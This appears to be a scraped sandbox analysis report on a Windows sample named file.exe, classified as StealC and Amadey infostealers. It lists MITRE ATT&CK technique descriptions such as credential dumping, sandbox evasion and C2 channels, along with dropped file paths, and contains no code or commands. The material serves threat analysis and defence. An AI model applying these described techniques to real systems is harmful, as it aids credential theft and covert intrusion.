Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BGCAFHCA

C:\ProgramData\CBGHCAKKFBGDHJJJKECFBKKECG

C:\ProgramData\EGIDBFBFHJDGCAKEGHJE

C:\ProgramData\GHDAAKJE

C:\ProgramData\GHDBKFHIJKJKECAAAECA

C:\ProgramData\IIDAAFBGDBKJJJKFIIIJ

C:\ProgramData\KFCFBAAEHCFHJJKEHJKJDHJDGI

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre